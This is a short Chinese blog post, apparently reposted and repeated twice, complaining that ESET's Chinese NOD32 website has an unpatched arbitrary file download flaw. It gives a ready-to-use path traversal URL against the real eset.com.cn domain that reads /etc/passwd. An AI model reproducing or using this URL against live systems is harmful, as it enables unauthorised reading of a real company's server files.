太蛋疼了吧，NOD32官方居然爆了个这么低级的漏洞，瞎了。。真瞎了。
例子：
http://www.eset.com.cn/api/desk/download.php?file=../../../../../../../etc/passwd
目前仍未修复，擦。
本文标题：nod32杀毒官方任意下载文件漏洞
转载请注明来源，如果喜欢本站可以Feed订阅本站。
太蛋疼了吧，NOD32官方居然爆了个这么低级的漏洞，瞎了。。真瞎了。
例子：
http://www.eset.com.cn/api/desk/download.php?file=../../../../../../../etc/passwd
目前仍未修复，擦。
0 条评论。